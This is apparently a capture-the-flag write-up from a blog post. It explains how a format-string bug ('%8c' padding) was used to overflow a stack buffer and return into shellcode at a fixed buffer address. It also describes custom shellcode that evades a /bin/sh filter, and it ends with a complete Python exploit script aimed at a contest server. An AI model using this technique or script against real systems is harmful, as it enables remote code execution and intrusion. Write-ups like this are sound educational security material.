The way that we used the format string to overflow the stack was by using '%8c' within our payload. This writes 8 garbage characters, but takes up far fewer bytes of the recv than that. This let us write a lot of characters to the buffer and overflow it. But what to do with the return address?
We kind of derped around a bit trying to do a recv to a big chunk RWX memory in the program but ran into a lot of troubles with null bytes (because it's doing string operations). We eventually realized that there was a reference to the buffer that our initial sent payload at the constant address 0x0804b120 and since the stack is executable, we could just return there to win.
The last thing to try to bypass is the protections within the program against having any string like /bin/sh inside the payload we send. msfvenom was producing some pretty terrible shellcode, so we just wrote our own that did some math to eventually get the stack to have /bin/sh in it after the program checked our payload.
Our winning python script, win.py, is shown below.
import socket, binascii def recvUntil(socket,until): string = "" while not until in string: string += socket.recv(1) print string return string def dofmt(string, returnStdout=True): s = socket.socket() s.connect(('128.238.66.213', 23456)) recvUntil(s,"Saying: ") string = string.replace("$","\$") string = string.replace('"','\\"') s.sendall(string+'\n') return 'bob' def endian(s): if len(s) < 8: s = s.zfill(8) return s[6:8]+s[4:6]+s[2:4]+s[0:2] shellcode = open('payload').read() win = shellcode win += '%8c'*(65-(len(shellcode)/8))+'aa' win += binascii.unhexlify(endian('0804B120')) print win dofmt(win)
-- suntzu_II
No comments:
Post a Comment